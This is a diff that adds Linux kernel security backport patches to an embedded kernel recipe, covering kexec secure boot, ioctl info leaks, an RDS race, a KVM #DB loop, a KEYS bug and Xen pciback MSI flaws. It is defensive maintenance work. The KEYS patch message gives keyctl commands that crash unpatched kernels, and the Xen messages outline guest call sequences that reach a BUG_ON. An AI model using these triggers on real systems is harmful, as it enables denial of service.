kexecuefi copy secureboot flag in boot params across kexec.patch @@ -0,0 +1,32 @@ +From 4b2b64d5a6ebc84214755ebccd599baef7c1b798 Mon Sep 17 00:00:00 2001 +From: Dave Young +Date: Tue, 6 Oct 2015 13:31:31 +0100 +Subject: [PATCH] kexec/uefi: copy secure_boot flag in boot params across kexec + reboot + +Kexec reboot in case secure boot being enabled does not keep the secure +boot mode in new kernel, so later one can load unsigned kernel via legacy +kexec_load. In this state, the system is missing the protections provided +by secure boot. Adding a patch to fix this by retain the secure_boot flag +in original kernel. + +secure_boot flag in boot_params is set in EFI stub, but kexec bypasses the +stub. Fixing this issue by copying secure_boot flag across kexec reboot. + +Signed-off-by: Dave Young +--- + arch/x86/kernel/kexec-bzimage64.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/arch/x86/kernel/kexec-bzimage64.c b/arch/x86/kernel/kexec-bzimage64.c +index 2af478e3fd4e2a..61827eeb6881f4 100644 +--- a/arch/x86/kernel/kexec-bzimage64.c ++++ b/arch/x86/kernel/kexec-bzimage64.c +@@ -180,6 +180,7 @@ setup_efi_state(struct boot_params *params, unsigned long params_load_addr, + if (efi_enabled(EFI_OLD_MEMMAP)) + return 0; + ++ params->secure_boot = boot_params.secure_boot; + ei->efi_loader_signature = current_ei->efi_loader_signature; + ei->efi_systab = current_ei->efi_systab; + ei->efi_systab_hi = current_ei->efi_systab_hi; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0061-eda98796aff0-media mediavividosd fix info leak in ioctl.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0061-eda98796aff0-media mediavividosd fix info leak in ioctl.patch new file mode 100644 index 0000000..64631b1 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0061-eda98796aff0-media mediavividosd fix info leak in ioctl.patch @@ -0,0 +1,34 @@ +From eda98796aff0d9bf41094b06811f5def3b4c333c Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Salva=20Peir=C3=B3?= +Date: Wed, 7 Oct 2015 07:09:26 -0300 +Subject: [media] media/vivid-osd: fix info leak in ioctl +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +The vivid_fb_ioctl() code fails to initialize the 16 _reserved bytes of +struct fb_vblank after the ->hcount member. Add an explicit +memset(0) before filling the structure to avoid the info leak. + +Signed-off-by: Salva Peiró +Signed-off-by: Hans Verkuil +Signed-off-by: Mauro Carvalho Chehab +--- + drivers/media/platform/vivid/vivid-osd.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/drivers/media/platform/vivid/vivid-osd.c b/drivers/media/platform/vivid/vivid-osd.c +index 084d346fb4c4..e15eef6a94e5 100644 +--- a/drivers/media/platform/vivid/vivid-osd.c ++++ b/drivers/media/platform/vivid/vivid-osd.c +@@ -85,6 +85,7 @@ static int vivid_fb_ioctl(struct fb_info *info, unsigned cmd, unsigned long arg) + case FBIOGET_VBLANK: { + struct fb_vblank vblank; + ++ memset(&vblank, 0, sizeof(vblank)); + vblank.flags = FB_VBLANK_HAVE_COUNT | FB_VBLANK_HAVE_VCOUNT | + FB_VBLANK_HAVE_VSYNC; + vblank.count = 0; +-- +cgit 1.2-0.3.lf.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0062-4b6184336ebb-stagingdgnc fix info leak in ioctl.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0062-4b6184336ebb-stagingdgnc fix info leak in ioctl.patch new file mode 100644 index 0000000..79db313 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0062-4b6184336ebb-stagingdgnc fix info leak in ioctl.patch @@ -0,0 +1,33 @@ +From 4b6184336ebb5c8dc1eae7f7ab46ee608a748b05 Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Salva=20Peir=C3=B3?= +Date: Wed, 14 Oct 2015 17:48:02 +0200 +Subject: staging/dgnc: fix info leak in ioctl +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +The dgnc_mgmt_ioctl() code fails to initialize the 16 _reserved bytes of +struct digi_dinfo after the ->dinfo_nboards member. Add an explicit +memset(0) before filling the structure to avoid the info leak. + +Signed-off-by: Salva Peiró +Signed-off-by: Greg Kroah-Hartman +--- + drivers/staging/dgnc/dgnc_mgmt.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/drivers/staging/dgnc/dgnc_mgmt.c b/drivers/staging/dgnc/dgnc_mgmt.c +index 9ec3efe0a287..518fbd5e2d0e 100644 +--- a/drivers/staging/dgnc/dgnc_mgmt.c ++++ b/drivers/staging/dgnc/dgnc_mgmt.c +@@ -110,6 +110,7 @@ long dgnc_mgmt_ioctl(struct file *file, unsigned int cmd, unsigned long arg) + + spin_lock_irqsave(&dgnc_global_lock, flags); + ++ memset(&ddi, 0, sizeof(ddi)); + ddi.dinfo_nboards = dgnc_NumBoards; + sprintf(ddi.dinfo_version, "%s", DG_PART); + +-- +cgit 1.2-0.3.lf.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0063-96c7b10cd800-RDS fix race condition when sending a message on unbound socket.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0063-96c7b10cd800-RDS fix race condition when sending a message on unbound socket.patch new file mode 100644 index 0000000..402cfc8 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0063-96c7b10cd800-RDS fix race condition when sending a message on unbound socket.patch @@ -0,0 +1,78 @@ +From 96c7b10cd8000973035b667adf62ea1164f4b9b4 Mon Sep 17 00:00:00 2001 +From: Quentin Casasnovas +Date: Tue, 24 Nov 2015 17:13:21 -0500 +Subject: RDS: fix race condition when sending a message on unbound socket + +[ Upstream commit 8c7188b23474cca017b3ef354c4a58456f68303a ] + +Sasha's found a NULL pointer dereference in the RDS connection code when +sending a message to an apparently unbound socket. The problem is caused +by the code checking if the socket is bound in rds_sendmsg(), which checks +the rs_bound_addr field without taking a lock on the socket. This opens a +race where rs_bound_addr is temporarily set but where the transport is not +in rds_bind(), leading to a NULL pointer dereference when trying to +dereference 'trans' in __rds_conn_create(). + +Vegard wrote a reproducer for this issue, so kindly ask him to share if +you're interested. + +I cannot reproduce the NULL pointer dereference using Vegard's reproducer +with this patch, whereas I could without. + +Complete earlier incomplete fix to CVE-2015-6937: + + 74e98eb08588 ("RDS: verify the underlying transport exists before creating a connection") + +Cc: David S. Miller +Cc: stable@vger.kernel.org + +Reviewed-by: Vegard Nossum +Reviewed-by: Sasha Levin +Acked-by: Santosh Shilimkar +Signed-off-by: Quentin Casasnovas +Signed-off-by: David S. Miller +Signed-off-by: Sasha Levin +--- + net/rds/connection.c | 6 ------ + net/rds/send.c | 4 +++- + 2 files changed, 3 insertions(+), 7 deletions(-) + +diff --git a/net/rds/connection.c b/net/rds/connection.c +index f5fb7d6b7c412..378c3a6acf84c 100644 +--- a/net/rds/connection.c ++++ b/net/rds/connection.c +@@ -183,12 +183,6 @@ static struct rds_connection *__rds_conn_create(__be32 laddr, __be32 faddr, + } + } + +- if (trans == NULL) { +- kmem_cache_free(rds_conn_slab, conn); +- conn = ERR_PTR(-ENODEV); +- goto out; +- } +- + conn->c_trans = trans; + + ret = trans->conn_alloc(conn, gfp); +diff --git a/net/rds/send.c b/net/rds/send.c +index 0a64541020b0b..0bae8d43b0127 100644 +--- a/net/rds/send.c ++++ b/net/rds/send.c +@@ -958,11 +958,13 @@ int rds_sendmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *msg, + release_sock(sk); + } + +- /* racing with another thread binding seems ok here */ ++ lock_sock(sk); + if (daddr == 0 || rs->rs_bound_addr == 0) { ++ release_sock(sk); + ret = -ENOTCONN; /* XXX not a great errno */ + goto out; + } ++ release_sock(sk); + + /* size of rm including all sgs */ + ret = rds_rm_size(msg, payload_len); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0064-cbdb967af3d5-KVM svm unconditionally intercept DB.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0064-cbdb967af3d5-KVM svm unconditionally intercept DB.patch new file mode 100644 index 0000000..a751c42 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0064-cbdb967af3d5-KVM svm unconditionally intercept DB.patch @@ -0,0 +1,80 @@ +From cbdb967af3d54993f5814f1cee0ed311a055377d Mon Sep 17 00:00:00 2001 +From: Paolo Bonzini +Date: Tue, 10 Nov 2015 09:14:39 +0100 +Subject: KVM: svm: unconditionally intercept #DB + +This is needed to avoid the possibility that the guest triggers +an infinite stream of #DB exceptions (CVE-2015-8104). + +VMX is not affected: because it does not save DR6 in the VMCS, +it already intercepts #DB unconditionally. + +Reported-by: Jan Beulich +Cc: stable@vger.kernel.org +Signed-off-by: Paolo Bonzini +--- + arch/x86/kvm/svm.c | 14 +++----------- + 1 file changed, 3 insertions(+), 11 deletions(-) + +diff --git a/arch/x86/kvm/svm.c b/arch/x86/kvm/svm.c +index 183926483c3ac..1cc1ffca0d8c3 100644 +--- a/arch/x86/kvm/svm.c ++++ b/arch/x86/kvm/svm.c +@@ -1020,6 +1020,7 @@ static void init_vmcb(struct vcpu_svm *svm) + set_exception_intercept(svm, UD_VECTOR); + set_exception_intercept(svm, MC_VECTOR); + set_exception_intercept(svm, AC_VECTOR); ++ set_exception_intercept(svm, DB_VECTOR); + + set_intercept(svm, INTERCEPT_INTR); + set_intercept(svm, INTERCEPT_NMI); +@@ -1554,20 +1555,13 @@ static void svm_set_segment(struct kvm_vcpu *vcpu, + mark_dirty(svm->vmcb, VMCB_SEG); + } + +-static void update_db_bp_intercept(struct kvm_vcpu *vcpu) ++static void update_bp_intercept(struct kvm_vcpu *vcpu) + { + struct vcpu_svm *svm = to_svm(vcpu); + +- clr_exception_intercept(svm, DB_VECTOR); + clr_exception_intercept(svm, BP_VECTOR); + +- if (svm->nmi_singlestep) +- set_exception_intercept(svm, DB_VECTOR); +- + if (vcpu->guest_debug & KVM_GUESTDBG_ENABLE) { +- if (vcpu->guest_debug & +- (KVM_GUESTDBG_SINGLESTEP | KVM_GUESTDBG_USE_HW_BP)) +- set_exception_intercept(svm, DB_VECTOR); + if (vcpu->guest_debug & KVM_GUESTDBG_USE_SW_BP) + set_exception_intercept(svm, BP_VECTOR); + } else +@@ -1673,7 +1667,6 @@ static int db_interception(struct vcpu_svm *svm) + if (!(svm->vcpu.guest_debug & KVM_GUESTDBG_SINGLESTEP)) + svm->vmcb->save.rflags &= + ~(X86_EFLAGS_TF | X86_EFLAGS_RF); +- update_db_bp_intercept(&svm->vcpu); + } + + if (svm->vcpu.guest_debug & +@@ -3661,7 +3654,6 @@ static void enable_nmi_window(struct kvm_vcpu *vcpu) + */ + svm->nmi_singlestep = true; + svm->vmcb->save.rflags |= (X86_EFLAGS_TF | X86_EFLAGS_RF); +- update_db_bp_intercept(vcpu); + } + + static int svm_set_tss_addr(struct kvm *kvm, unsigned int addr) +@@ -4287,7 +4279,7 @@ static struct kvm_x86_ops svm_x86_ops = { + .vcpu_load = svm_vcpu_load, + .vcpu_put = svm_vcpu_put, + +- .update_db_bp_intercept = update_db_bp_intercept, ++ .update_db_bp_intercept = update_bp_intercept, + .get_msr = svm_get_msr, + .set_msr = svm_set_msr, + .get_segment_base = svm_get_segment_base, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0065-3fee6398ce8a-KEYS Fix handling of stored error in a negatively instantiated user.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0065-3fee6398ce8a-KEYS Fix handling of stored error in a negatively instantiated user.patch new file mode 100644 index 0000000..61c2766 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0065-3fee6398ce8a-KEYS Fix handling of stored error in a negatively instantiated user.patch @@ -0,0 +1,128 @@ +From 3fee6398ce8a0f1d5411b0a75e70f80a1196467d Mon Sep 17 00:00:00 2001 +From: David Howells +Date: Tue, 24 Nov 2015 21:36:31 +0000 +Subject: KEYS: Fix handling of stored error in a negatively instantiated user + key + +[ Upstream commit 096fe9eaea40a17e125569f9e657e34cdb6d73bd ] + +If a user key gets negatively instantiated, an error code is cached in the +payload area. A negatively instantiated key may be then be positively +instantiated by updating it with valid data. However, the ->update key +type method must be aware that the error code may be there. + +The following may be used to trigger the bug in the user key type: + + keyctl request2 user user "" @u + keyctl add user user "a" @u + +which manifests itself as: + + BUG: unable to handle kernel paging request at 00000000ffffff8a + IP: [] __call_rcu.constprop.76+0x1f/0x280 kernel/rcu/tree.c:3046 + PGD 7cc30067 PUD 0 + Oops: 0002 [#1] SMP + Modules linked in: + CPU: 3 PID: 2644 Comm: a.out Not tainted 4.3.0+ #49 + Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 + task: ffff88003ddea700 ti: ffff88003dd88000 task.ti: ffff88003dd88000 + RIP: 0010:[] [] __call_rcu.constprop.76+0x1f/0x280 + [] __call_rcu.constprop.76+0x1f/0x280 kernel/rcu/tree.c:3046 + RSP: 0018:ffff88003dd8bdb0 EFLAGS: 00010246 + RAX: 00000000ffffff82 RBX: 0000000000000000 RCX: 0000000000000001 + RDX: ffffffff81e3fe40 RSI: 0000000000000000 RDI: 00000000ffffff82 + RBP: ffff88003dd8bde0 R08: ffff88007d2d2da0 R09: 0000000000000000 + R10: 0000000000000000 R11: ffff88003e8073c0 R12: 00000000ffffff82 + R13: ffff88003dd8be68 R14: ffff88007d027600 R15: ffff88003ddea700 + FS: 0000000000b92880(0063) GS:ffff88007fd00000(0000) knlGS:0000000000000000 + CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b + CR2: 00000000ffffff8a CR3: 000000007cc5f000 CR4: 00000000000006e0 + Stack: + ffff88003dd8bdf0 ffffffff81160a8a 0000000000000000 00000000ffffff82 + ffff88003dd8be68 ffff88007d027600 ffff88003dd8bdf0 ffffffff810a39e5 + ffff88003dd8be20 ffffffff812a31ab ffff88007d027600 ffff88007d027620 + Call Trace: + [] kfree_call_rcu+0x15/0x20 kernel/rcu/tree.c:3136 + [] user_update+0x8b/0xb0 security/keys/user_defined.c:129 + [< inline >] __key_update security/keys/key.c:730 + [] key_create_or_update+0x291/0x440 security/keys/key.c:908 + [< inline >] SYSC_add_key security/keys/keyctl.c:125 + [] SyS_add_key+0x101/0x1e0 security/keys/keyctl.c:60 + [] entry_SYSCALL_64_fastpath+0x12/0x6a arch/x86/entry/entry_64.S:185 + +Note the error code (-ENOKEY) in EDX. + +A similar bug can be tripped by: + + keyctl request2 trusted user "" @u + keyctl add trusted user "a" @u + +This should also affect encrypted keys - but that has to be correctly +parameterised or it will fail with EINVAL before getting to the bit that +will crashes. + +Reported-by: Dmitry Vyukov +Signed-off-by: David Howells +Acked-by: Mimi Zohar +Signed-off-by: James Morris +Signed-off-by: Sasha Levin +--- + security/keys/encrypted-keys/encrypted.c | 2 ++ + security/keys/trusted.c | 5 ++++- + security/keys/user_defined.c | 5 ++++- + 3 files changed, 10 insertions(+), 2 deletions(-) + +diff --git a/security/keys/encrypted-keys/encrypted.c b/security/keys/encrypted-keys/encrypted.c +index 7bed4ad7cd764..0a374a2ce0308 100644 +--- a/security/keys/encrypted-keys/encrypted.c ++++ b/security/keys/encrypted-keys/encrypted.c +@@ -845,6 +845,8 @@ static int encrypted_update(struct key *key, struct key_preparsed_payload *prep) + size_t datalen = prep->datalen; + int ret = 0; + ++ if (test_bit(KEY_FLAG_NEGATIVE, &key->flags)) ++ return -ENOKEY; + if (datalen <= 0 || datalen > 32767 || !prep->data) + return -EINVAL; + +diff --git a/security/keys/trusted.c b/security/keys/trusted.c +index c0594cb07adab..aeb38f1a12e70 100644 +--- a/security/keys/trusted.c ++++ b/security/keys/trusted.c +@@ -984,13 +984,16 @@ static void trusted_rcu_free(struct rcu_head *rcu) + */ + static int trusted_update(struct key *key, struct key_preparsed_payload *prep) + { +- struct trusted_key_payload *p = key->payload.data; ++ struct trusted_key_payload *p; + struct trusted_key_payload *new_p; + struct trusted_key_options *new_o; + size_t datalen = prep->datalen; + char *datablob; + int ret = 0; + ++ if (test_bit(KEY_FLAG_NEGATIVE, &key->flags)) ++ return -ENOKEY; ++ p = key->payload.data; + if (!p->migratable) + return -EPERM; + if (datalen <= 0 || datalen > 32767 || !prep->data) +diff --git a/security/keys/user_defined.c b/security/keys/user_defined.c +index 36b47bbd3d8cc..7cf22260bdffe 100644 +--- a/security/keys/user_defined.c ++++ b/security/keys/user_defined.c +@@ -120,7 +120,10 @@ int user_update(struct key *key, struct key_preparsed_payload *prep) + + if (ret == 0) { + /* attach the new data, displacing the old */ +- zap = key->payload.data; ++ if (!test_bit(KEY_FLAG_NEGATIVE, &key->flags)) ++ zap = key->payload.data; ++ else ++ zap = NULL; + rcu_assign_keypointer(key, upayload); + key->expiry = 0; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0066-56441f3c8e5b-xenpciback Return error on XENPCIOPenablemsi when device has.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0066-56441f3c8e5b-xenpciback Return error on XENPCIOPenablemsi when device has.patch new file mode 100644 index 0000000..cc52800 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0066-56441f3c8e5b-xenpciback Return error on XENPCIOPenablemsi when device has.patch @@ -0,0 +1,61 @@ +From 56441f3c8e5bd45aab10dd9f8c505dd4bec03b0d Mon Sep 17 00:00:00 2001 +From: Konrad Rzeszutek Wilk +Date: Fri, 3 Apr 2015 11:08:22 -0400 +Subject: xen/pciback: Return error on XEN_PCI_OP_enable_msi when device has + MSI or MSI-X enabled + +The guest sequence of: + + a) XEN_PCI_OP_enable_msi + b) XEN_PCI_OP_enable_msi + c) XEN_PCI_OP_disable_msi + +results in hitting an BUG_ON condition in the msi.c code. + +The MSI code uses an dev->msi_list to which it adds MSI entries. +Under the above conditions an BUG_ON() can be hit. The device +passed in the guest MUST have MSI capability. + +The a) adds the entry to the dev->msi_list and sets msi_enabled. +The b) adds a second entry but adding in to SysFS fails (duplicate entry) +and deletes all of the entries from msi_list and returns (with msi_enabled +is still set). c) pci_disable_msi passes the msi_enabled checks and hits: + +BUG_ON(list_empty(dev_to_msi_list(&dev->dev))); + +and blows up. + +The patch adds a simple check in the XEN_PCI_OP_enable_msi to guard +against that. The check for msix_enabled is not stricly neccessary. + +This is part of XSA-157. + +CC: stable@vger.kernel.org +Reviewed-by: David Vrabel +Reviewed-by: Jan Beulich +Signed-off-by: Konrad Rzeszutek Wilk +--- + drivers/xen/xen-pciback/pciback_ops.c | 7 ++++++- + 1 file changed, 6 insertions(+), 1 deletion(-) + +diff --git a/drivers/xen/xen-pciback/pciback_ops.c b/drivers/xen/xen-pciback/pciback_ops.c +index a0e0e3ed4905c..8bfb87c1a9f38 100644 +--- a/drivers/xen/xen-pciback/pciback_ops.c ++++ b/drivers/xen/xen-pciback/pciback_ops.c +@@ -144,7 +144,12 @@ int xen_pcibk_enable_msi(struct xen_pcibk_device *pdev, + if (unlikely(verbose_request)) + printk(KERN_DEBUG DRV_NAME ": %s: enable MSI\n", pci_name(dev)); + +- status = pci_enable_msi(dev); ++ if (dev->msi_enabled) ++ status = -EALREADY; ++ else if (dev->msix_enabled) ++ status = -ENXIO; ++ else ++ status = pci_enable_msi(dev); + + if (status) { + pr_warn_ratelimited("%s: error enabling MSI for guest %u: err %d\n", +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0067-5e0ce1455c09-xenpciback Return error on XENPCIOPenablemsix when device has.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0067-5e0ce1455c09-xenpciback Return error on XENPCIOPenablemsix when device has.patch new file mode 100644 index 0000000..ae8922b --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0067-5e0ce1455c09-xenpciback Return error on XENPCIOPenablemsix when device has.patch @@ -0,0 +1,63 @@ +From 5e0ce1455c09dd61d029b8ad45d82e1ac0b6c4c9 Mon Sep 17 00:00:00 2001 +From: Konrad Rzeszutek Wilk +Date: Mon, 2 Nov 2015 18:07:44 -0500 +Subject: xen/pciback: Return error on XEN_PCI_OP_enable_msix when device has + MSI or MSI-X enabled + +The guest sequence of: + + a) XEN_PCI_OP_enable_msix + b) XEN_PCI_OP_enable_msix + +results in hitting an NULL pointer due to using freed pointers. + +The device passed in the guest MUST have MSI-X capability. + +The a) constructs and SysFS representation of MSI and MSI groups. +The b) adds a second set of them but adding in to SysFS fails (duplicate entry). +'populate_msi_sysfs' frees the newly allocated msi_irq_groups (note that +in a) pdev->msi_irq_groups is still set) and also free's ALL of the +MSI-X entries of the device (the ones allocated in step a) and b)). + +The unwind code: 'free_msi_irqs' deletes all the entries and tries to +delete the pdev->msi_irq_groups (which hasn't been set to NULL). +However the pointers in the SysFS are already freed and we hit an +NULL pointer further on when 'strlen' is attempted on a freed pointer. + +The patch adds a simple check in the XEN_PCI_OP_enable_msix to guard +against that. The check for msi_enabled is not stricly neccessary. + +This is part of XSA-157 + +CC: stable@vger.kernel.org +Reviewed-by: David Vrabel +Reviewed-by: Jan Beulich +Signed-off-by: Konrad Rzeszutek Wilk +--- + drivers/xen/xen-pciback/pciback_ops.c | 7 +++++++ + 1 file changed, 7 insertions(+) + +diff --git a/drivers/xen/xen-pciback/pciback_ops.c b/drivers/xen/xen-pciback/pciback_ops.c +index 8bfb87c1a9f38..029f33ddb8bfc 100644 +--- a/drivers/xen/xen-pciback/pciback_ops.c ++++ b/drivers/xen/xen-pciback/pciback_ops.c +@@ -206,9 +206,16 @@ int xen_pcibk_enable_msix(struct xen_pcibk_device *pdev, + if (unlikely(verbose_request)) + printk(KERN_DEBUG DRV_NAME ": %s: enable MSI-X\n", + pci_name(dev)); ++ + if (op->value > SH_INFO_MAX_VEC) + return -EINVAL; + ++ if (dev->msix_enabled) ++ return -EALREADY; ++ ++ if (dev->msi_enabled) ++ return -ENXIO; ++ + entries = kmalloc(op->value * sizeof(*entries), GFP_KERNEL); + if (entries == NULL) + return -ENOMEM; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0068-a396f3a210c3-xenpciback Do not install an IRQ handler for MSI interrupts.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0068-a396f3a210c3-xenpciback Do not install an IRQ handler for MSI interrupts.patch new file mode 100644 index 0000000..dcaf1bd --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0068-a396f3a210c3-xenpciback Do not install an IRQ handler for MSI interrupts.patch @@ -0,0 +1,80 @@ +From a396f3a210c3a61e94d6b87ec05a75d0be2a60d0 Mon Sep 17 00:00:00 2001 +From: Konrad Rzeszutek Wilk +Date: Mon, 2 Nov 2015 17:24:08 -0500 +Subject: xen/pciback: Do not install an IRQ handler for MSI interrupts. + +Otherwise an guest can subvert the generic MSI code to trigger +an BUG_ON condition during MSI interrupt freeing: + + for (i = 0; i < entry->nvec_used; i++) + BUG_ON(irq_has_action(entry->irq + i)); + +Xen PCI backed installs an IRQ handler (request_irq) for +the dev->irq whenever the guest writes PCI_COMMAND_MEMORY +(or PCI_COMMAND_IO) to the PCI_COMMAND register. This is +done in case the device has legacy interrupts the GSI line +is shared by the backend devices. + +To subvert the backend the guest needs to make the backend +to change the dev->irq from the GSI to the MSI interrupt line, +make the backend allocate an interrupt handler, and then command +the backend to free the MSI interrupt and hit the BUG_ON. + +Since the backend only calls 'request_irq' when the guest +writes to the PCI_COMMAND register the guest needs to call +XEN_PCI_OP_enable_msi before any other operation. This will +cause the generic MSI code to setup an MSI entry and +populate dev->irq with the new PIRQ value. + +Then the guest can write to PCI_COMMAND PCI_COMMAND_MEMORY +and cause the backend to setup an IRQ handler for dev->irq +(which instead of the GSI value has the MSI pirq). See +'xen_pcibk_control_isr'. + +Then the guest disables the MSI: XEN_PCI_OP_disable_msi +which ends up triggering the BUG_ON condition in 'free_msi_irqs' +as there is an IRQ handler for the entry->irq (dev->irq). + +Note that this cannot be done using MSI-X as the generic +code does not over-write dev->irq with the MSI-X PIRQ values. + +The patch inhibits setting up the IRQ handler if MSI or +MSI-X (for symmetry reasons) code had been called successfully. + +P.S. +Xen PCIBack when it sets up the device for the guest consumption +ends up writting 0 to the PCI_COMMAND (see xen_pcibk_reset_device). +XSA-120 addendum patch removed that - however when upstreaming said +addendum we found that it caused issues with qemu upstream. That +has now been fixed in qemu upstream. + +This is part of XSA-157 + +CC: stable@vger.kernel.org +Reviewed-by: David Vrabel +Signed-off-by: Konrad Rzeszutek Wilk +--- + drivers/xen/xen-pciback/pciback_ops.c | 7 +++++++ + 1 file changed, 7 insertions(+) + +diff --git a/drivers/xen/xen-pciback/pciback_ops.c b/drivers/xen/xen-pciback/pciback_ops.c +index 029f33ddb8bfc..d0696ce31e9b0 100644 +--- a/drivers/xen/xen-pciback/pciback_ops.c ++++ b/drivers/xen/xen-pciback/pciback_ops.c +@@ -70,6 +70,13 @@ static void xen_pcibk_control_isr(struct pci_dev *dev, int reset) + enable ? "enable" : "disable"); + + if (enable) { ++ /* ++ * The MSI or MSI-X should not have an IRQ handler. Otherwise ++ * if the guest terminates we BUG_ON in free_msi_irqs. ++ */ ++ if (dev->msi_enabled || dev->msix_enabled) ++ goto out; ++ + rc = request_irq(dev_data->irq, + xen_pcibk_guest_interrupt, IRQF_SHARED, + dev_data->irq_name, dev); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0069-7cfb905b9638-xenpciback For XENPCIOPdisablemsix only disable if device.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0069-7cfb905b9638-xenpciback For XENPCIOPdisablemsix only disable if device.patch new file mode 100644 index 0000000..63dcfdb --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0069-7cfb905b9638-xenpciback For XENPCIOPdisablemsix only disable if device.patch @@ -0,0 +1,105 @@ +From 7cfb905b9638982862f0331b36ccaaca5d383b49 Mon Sep 17 00:00:00 2001 +From: Konrad Rzeszutek Wilk +Date: Wed, 1 Apr 2015 10:49:47 -0400 +Subject: xen/pciback: For XEN_PCI_OP_disable_msi[|x] only disable if device + has MSI(X) enabled. + +Otherwise just continue on, returning the same values as +previously (return of 0, and op->result has the PIRQ value). + +This does not change the behavior of XEN_PCI_OP_disable_msi[|x]. + +The pci_disable_msi or pci_disable_msix have the checks for +msi_enabled or msix_enabled so they will error out immediately. + +However the guest can still call these operations and cause +us to disable the 'ack_intr'. That means the backend IRQ handler +for the legacy interrupt will not respond to interrupts anymore. + +This will lead to (if the device is causing an interrupt storm) +for the Linux generic code to disable the interrupt line. + +Naturally this will only happen if the device in question +is plugged in on the motherboard on shared level interrupt GSI. + +This is part of XSA-157 + +CC: stable@vger.kernel.org +Reviewed-by: David Vrabel +Signed-off-by: Konrad Rzeszutek Wilk +--- + drivers/xen/xen-pciback/pciback_ops.c | 33 ++++++++++++++++++++------------- + 1 file changed, 20 insertions(+), 13 deletions(-) + +diff --git a/drivers/xen/xen-pciback/pciback_ops.c b/drivers/xen/xen-pciback/pciback_ops.c +index d0696ce31e9b0..4ee5fc080483d 100644 +--- a/drivers/xen/xen-pciback/pciback_ops.c ++++ b/drivers/xen/xen-pciback/pciback_ops.c +@@ -185,20 +185,23 @@ static + int xen_pcibk_disable_msi(struct xen_pcibk_device *pdev, + struct pci_dev *dev, struct xen_pci_op *op) + { +- struct xen_pcibk_dev_data *dev_data; +- + if (unlikely(verbose_request)) + printk(KERN_DEBUG DRV_NAME ": %s: disable MSI\n", + pci_name(dev)); +- pci_disable_msi(dev); + ++ if (dev->msi_enabled) { ++ struct xen_pcibk_dev_data *dev_data; ++ ++ pci_disable_msi(dev); ++ ++ dev_data = pci_get_drvdata(dev); ++ if (dev_data) ++ dev_data->ack_intr = 1; ++ } + op->value = dev->irq ? xen_pirq_from_irq(dev->irq) : 0; + if (unlikely(verbose_request)) + printk(KERN_DEBUG DRV_NAME ": %s: MSI: %d\n", pci_name(dev), + op->value); +- dev_data = pci_get_drvdata(dev); +- if (dev_data) +- dev_data->ack_intr = 1; + return 0; + } + +@@ -264,23 +267,27 @@ static + int xen_pcibk_disable_msix(struct xen_pcibk_device *pdev, + struct pci_dev *dev, struct xen_pci_op *op) + { +- struct xen_pcibk_dev_data *dev_data; + if (unlikely(verbose_request)) + printk(KERN_DEBUG DRV_NAME ": %s: disable MSI-X\n", + pci_name(dev)); +- pci_disable_msix(dev); + ++ if (dev->msix_enabled) { ++ struct xen_pcibk_dev_data *dev_data; ++ ++ pci_disable_msix(dev); ++ ++ dev_data = pci_get_drvdata(dev); ++ if (dev_data) ++ dev_data->ack_intr = 1; ++ } + /* + * SR-IOV devices (which don't have any legacy IRQ) have + * an undefined IRQ value of zero. + */ + op->value = dev->irq ? xen_pirq_from_irq(dev->irq) : 0; + if (unlikely(verbose_request)) +- printk(KERN_DEBUG DRV_NAME ": %s: MSI-X: %d\n", pci_name(dev), +- op->value); +- dev_data = pci_get_drvdata(dev); +- if (dev_data) +- dev_data->ack_intr = 1; ++ printk(KERN_DEBUG DRV_NAME ": %s: MSI-X: %d\n", ++ pci_name(dev), op->value); + return 0; + } + #endif +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0070-408fb0e5aa7f-xenpciback Dont allow MSIX ops if PCICOMMANDMEMORY is not set.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0070-408fb0e5aa7f-xenpciback Dont allow MSIX ops if PCICOMMANDMEMORY is not set.patch new file mode 100644 index 0000000..8474e8f --- /dev/null +++ 